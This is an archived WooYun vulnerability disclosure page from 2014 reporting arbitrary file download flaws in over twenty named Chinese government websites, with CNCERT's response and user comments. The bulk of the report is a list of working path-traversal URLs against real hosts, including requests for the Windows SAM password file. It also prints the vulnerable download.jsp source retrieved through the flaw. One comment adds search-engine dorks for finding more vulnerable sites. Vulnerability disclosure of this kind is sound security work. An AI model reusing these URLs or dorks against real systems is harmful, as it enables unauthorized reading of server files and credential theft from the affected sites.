当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-062347

漏洞标题：大批gov.cn政府网站任意文件下载(此处列出20余个)

相关厂商：cncert国家互联网应急中心

漏洞作者： 风情万种

提交时间：2014-05-30 11:01

修复时间：2014-07-14 11:02

公开时间：2014-07-14 11:02

漏洞类型：任意文件遍历/下载

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-05-30： 细节已通知厂商并且等待厂商处理中
2014-06-04： 厂商已经确认，细节仅向厂商公开
2014-06-14： 细节向核心白帽子及相关领域专家公开
2014-06-24： 细节向普通白帽子公开
2014-07-04： 细节向实习白帽子公开
2014-07-14： 细节向公众公开

简要描述：

大批gov.cn政府网站任意文件下载(此处列出)

详细说明：

http://www.grny.gov.cn/grny/images/stories/download.php?filename=download.php
http://zzz.lgq.gov.cn/admin/infofiles/download.php?filepath=./download.php&filename=download.php
http://fwpt.hnjgdj.gov.cn/web/download.action?fileName=../../index.jsp
http://bdanews.bda.gov.cn/front/download.action?fileName=index.jsp
http://www.yhmohrss.gov.cn/lemis/netweb/detail/download.jsp?url=/netweb/detail/&filename=download.jsp
http://www.cqldbz.gov.cn/wssb/download.jsp?filename=../index.jsp
http://www.hbcy.gov.cn/application/bgxz/download.jsp?filename=F:/web_changyang/public_html/application/bgxz/index.jsp
http://www.eqsc.gov.cn/manage/content/docmanage/download.jsp?filePath=/manage/content/docmanage/download.jsp
http://www.hazk.lss.gov.cn/12333/web/secondLevelPage/download.jsp?filename=../../../index.jsp
http://jld.cq.gov.cn/bgxz/download.jsp?filename=../index.jsp
http://www.cdetdz.gov.cn/edp/edpweb/downLoad.jsp?diskURL=D:/bssoft/edp/WebRoot/edpweb/downLoad.jsp&fileName=index.jsp
http://www.symzj.gov.cn/symz/mzxxw/zlxz/download.jsp?filename=../../../index.jsp
http://fwzx.bjpg.gov.cn/xzfwzx/system/download.jsp?filename=../download.jsp
http://www.szwen.gov.cn/download.jsp?fileName=download.jsp
http://www.yhmohrss.gov.cn/lemis/netweb/detail/download.jsp?url=C:\windows\system32\&filename=cmd.exe
http://www.ahmasepa.gov.cn:8088/masWeb/jsp/include/download.jsp?filename=../index.jsp
http://www.js.lss.gov.cn/Auditing/download.jsp?filename=../index.jsp
http://www.jiaohe.gov.cn/main/download.jsp?fileName=../index.jsp
http://www.ccfwy.gov.cn/wjxz/download.jsp?filename=../index.jsp
http://sh.hljagri.gov.cn/download.jsp?filename=../index.jsp
http://www.qzlyj.gov.cn/download.jsp?filename=../../index.jsp
http://www.ccgp-qinghai.gov.cn/download.jsp?filename=C:\Windows\System32\config\SAM
http://www.nbzj.gov.cn/cms/1120/plus/download.php?open=edit&link=download.php

漏洞证明：

其中一个download.jsp
http://www.yhmohrss.gov.cn/lemis/netweb/detail/download.jsp?url=/netweb/detail/&filename=download.jsp

<%@ page contentType="text/html;charset=gb2312" 
import="com.jspsmart.upload.*,java.io.File" %><%
// 新建一个SmartUpload对象
SmartUpload su = new SmartUpload();
// 初始化
su.initialize(pageContext);
// 设定contentDisposition为null以禁止浏览器自动打开文件，
//保证点击链接后是下载文件。若不设定，则下载的文件扩展名为
//doc时，浏览器将自动用word打开它。扩展名为pdf时，
//浏览器将用acrobat打开。
su.setContentDisposition(null);
// 下载文件
String url=request.getParameter("url");
String filename=request.getParameter("filename");
String path=url+File.separator+filename;
System.out.println("OOOOOOOOOOOOOOOO"+File.separator);
try{
	su.downloadFile(path);
	out.clear();
out = pageContext.pushBody();
}
catch(Exception ex){
ex.printStackTrace();
%>
<script language="javascript">
alert("该文件已经不存在!");
window.close();
</script>
<%
}
%>


其它的信息我就不说了

修复方案：

.....

版权声明：转载请注明来源 风情万种@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2014-06-04 10:02

厂商回复：

感谢白帽子做的批量检测工作，未认定为通用，已经根据所述实例测试下发给对应的多个分中心，由分中心进行事件型漏洞通报处置。rank 打满。

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-30 11:11 | Jasonfcku ( 路人 | Rank:13 漏洞数:2 | 小白一只，求不社。)

    我了个去，现在都开始玩大爆发了？不一个一个的刷了？

  2. 2014-05-30 11:32 | T0XD88 ( 路人 | Rank:0 漏洞数:2 | 会写代码的心理咨询师)

    这么刷牛

  3. 2014-05-30 12:15 | 暧昧 ( 路人 | Rank:6 漏洞数:3 | 此号乃是吾用来装孙子也)

    土豪 我们交朋友吧

  4. 2014-05-30 15:06 | →Ｈack涛 ( 普通白帽子 | Rank:158 漏洞数:55 | 好好学习，天天向上！)

    你是想说一分一个啊

  5. 2014-05-31 00:02 | 风情万种 ( 普通白帽子 | Rank:181 漏洞数:63 | 不再相信爱了)

    @Jasonfcku heih

  6. 2014-05-31 12:18 | by小星星 ( 路人 | Rank:4 漏洞数:4 | 我会唱小星星、)

    估计是同一套系统吧。 求个0day、

  7. 2014-05-31 18:40 | Jasonfcku ( 路人 | Rank:13 漏洞数:2 | 小白一只，求不社。)

    @by小星星 我也要，要到了给我一份

  8. 2014-06-24 14:17 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    找这个漏洞很简单！随手我可以抓出100个来

  9. 2014-07-01 02:20 | by小星星 ( 路人 | Rank:4 漏洞数:4 | 我会唱小星星、)

    @U神 关键看什么的。

  10. 2014-07-14 11:03 | Ev1l ( 实习白帽子 | Rank:68 漏洞数:20 | 问题真实存在但影响不大。联系邮箱security...)

    我草，Rank满了

  11. 2014-07-14 11:12 | akast ( 普通白帽子 | Rank:244 漏洞数:39 | NEURON & LEUKOCYTE)

    inurl:download.jsp?filename=inurl:download.action?fileName=

  12. 2014-07-14 11:12 | U神 ( 核心白帽子 | Rank:1285 漏洞数:142 | 感谢乌云，知恩不忘，其实我一直都在乌云默...)

    为什么不是老和尚啊